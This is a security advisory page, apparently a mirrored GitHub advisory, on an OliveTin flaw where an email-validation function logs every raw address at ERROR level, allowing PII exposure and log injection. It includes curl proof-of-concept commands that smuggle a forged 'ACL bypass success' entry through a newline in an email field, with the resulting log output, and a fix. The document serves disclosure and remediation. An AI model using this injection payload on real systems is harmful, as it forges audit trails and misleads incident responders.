Open-Source Security Intelligence

Know every vulnerability
before it knows you.

DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.

Search

GHSA-xx6g-43w2-9g6g

MediumCVSS 6.9 / 10
Published Mar 12, 2026·Last modified Mar 23, 2026
Affected Components(0)

No affected components available

Description

Summary

The typeSafetyCheckEmail() function in service/internal/executor/arguments.go calls log.Errorf() on every invocation including when validation succeeds (err == nil). This means every email address submitted by any user is written to the application's ERROR-level log unconditionally. Because the raw user-supplied value is logged without sanitization, an attacker can inject newline characters to forge arbitrary structured log entries (log injection). In deployments using centralized logging (ELK, Splunk, Grafana), the injected lines are parsed as real events, enabling fake security alerts, audit trail manipulation, and persistent misdirection of incident response.

Details

File: service/internal/executor/arguments.go Line: 254 Version confirmed: 3000.11.1

Vulnerable code

func typeSafetyCheckEmail(value string) error {
    _, err := mail.ParseAddress(value)
    log.Errorf("Email check: %v, %v", err, value) 
    if err != nil {
        return err
    }
    return nil
}

The log.Errorf call was likely introduced as a debug statement during development and was never removed before release. It has three distinct security consequences:

  1. PII Exposure via ERROR logs

Every email address (valid or invalid) submitted to any action with type: email is written to the ERROR log. In production deployments, ERROR logs are typically forwarded to centralized systems (Splunk, ELK, Datadog) and retained long-term. Email addresses constitute PII under

  1. Log Injection

The %v format verb renders the raw value string without escaping newlines or control characters. An attacker who can reach any action with a type: email argument can send:

alice@example.com\nlevel="error" msg="ACL bypass success" username="admin"

OliveTin writes two lines to the log. Structured log parsers (logfmt, JSON) treat the second line as an independent real event. This enables:

  • Forged security alerts that trigger real PagerDuty/Opsgenie pages
  • Audit trail manipulation hiding real events among noise
  • False positives that exhaust on-call responder attention (alert fatigue)
  1. Alert Fatigue

Because even successful validations emit ERROR-level entries, any production deployment with email-type actions generates continuous spurious error alerts. Monitoring systems configured to alert on level=error will fire on every normal form submission.

Affected execution: mode: exec: only The shell: execution mode blocks email type arguments via checkShellArgumentSafety() before typeSafetyCheckEmail() is ever reached. The vulnerability is only reachable when the action uses exec: mode which is the recommended and documented mode for email-type arguments (OliveTin explicitly instructs users to use exec: with email type).

PoC

Get the binding ID

BINDING=$(curl -s -X POST http://localhost:1337/api/GetDashboard \
  -H "Content-Type: application/json" -d '{}' | \
  python3 -c "
import sys,json
d=json.load(sys.stdin)
def f(o):
    if isinstance(o,dict):
        a=o.get('action')
        if a and isinstance(a,dict):
            for arg in a.get('arguments',[]):
                if arg.get('type')=='email': print(a['bindingId'])
        [f(v) for v in o.values()]
    elif isinstance(o,list): [f(i) for i in o]
f(d)")
echo "Binding: $BINDING"

Trigger PII exposure (valid email --> ERROR log):

curl -s -X POST http://localhost:1337/api/StartAction \
  -H "Content-Type: application/json" \
  -d "{\"bindingId\":\"$BINDING\",\"arguments\":[{\"name\":\"recipient\",\"value\":\"alice@example.com\"}]}"

Observed server log (confirmed on 3000.11.1):

docker logs olivetin-test 2>&1 | grep -E "Email check|ACL_bypass" | tail -5
level="error" msg="Email check: <nil>, alice@example.com"
level="error" msg="Email check: mail: expected single address, got \"\\nlevel=\\\"error\\\" msg=\\\"ACL bypass success\\\" username=\\\"admin\\\"\", a@b.com\nlevel=\"error\" msg=\"ACL bypass success\" username=\"admin\""
level="error" msg="Email check: mail: expected single address, got \"\\nlevel=error msg=ACL_bypass username=admin\", a@b.com\nlevel=error msg=ACL_bypass username=admin"
level="warning" msg="mail: expected single address, got \"\\nlevel=error msg=ACL_bypass username=admin\""
level="error" msg="Email check: <nil>, alice@example.com"

Trigger log injection:

curl -s -X POST http://localhost:1337/api/StartAction \
  -H "Content-Type: application/json" \
  -d "{\"bindingId\":\"$BINDING\",\"arguments\":[{\"name\":\"recipient\",\"value\":\"a@b.com\nlevel=\\\"error\\\" msg=\\\"ACL bypass success\\\" username=\\\"admin\\\"\"}]}"

Observed server log injected line appears as a real event:

docker logs olivetin-test 2>&1 | grep -E "Email check|ACL_bypass" | tail -5
level="error" msg="Email check: mail: expected single address, got \"\\nlevel=\\\"error\\\" msg=\\\"ACL bypass success\\\" username=\\\"admin\\\"\", a@b.com\nlevel=\"error\" msg=\"ACL bypass success\" username=\"admin\""
level="error" msg="Email check: mail: expected single address, got \"\\nlevel=error msg=ACL_bypass username=admin\", a@b.com\nlevel=error msg=ACL_bypass username=admin"
level="warning" msg="mail: expected single address, got \"\\nlevel=error msg=ACL_bypass username=admin\""
level="error" msg="Email check: <nil>, alice@example.com"
level="error" msg="Email check: mail: expected single address, got \"\\nlevel=\\\"error\\\" msg=\\\"ACL bypass success\\\" username=\\\"admin\\\"\", a@b.com\nlevel=\"error\" msg=\"ACL bypass success\" username=\"admin\""

Impact

  • End users whose email addresses are stored in ERROR logs without consent GDPR/CCPA violation risk for operators
  • Security operations teams whose SIEM/log aggregation systems can be fed forged events by any user who can submit email-type action arguments
  • On-call engineers subjected to continuous false positive ERROR alerts from valid form submissions
  • Operators who use type: email for informal token/API key validation those secrets appear in ERROR logs

Recommendation

func typeSafetyCheckEmail(value string) error {
    _, err := mail.ParseAddress(value)
    if err != nil {
        log.WithField("type", "email").Debugf("Email argument type check failed")
        return err
    }
    return nil
}

Only log on failure, at DEBUG level, and never log the value itself.

Risk Scores
Base Score
6.9

The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability.

Threat Intelligence
2.7

Limited exploitation activity has been observed. Close monitoring and planned remediation are recommended.

EPSS
N/A

Probability that this vulnerability will be exploited in the wild within the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

Browse More

Scan your project

Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.

Checkout DevGuard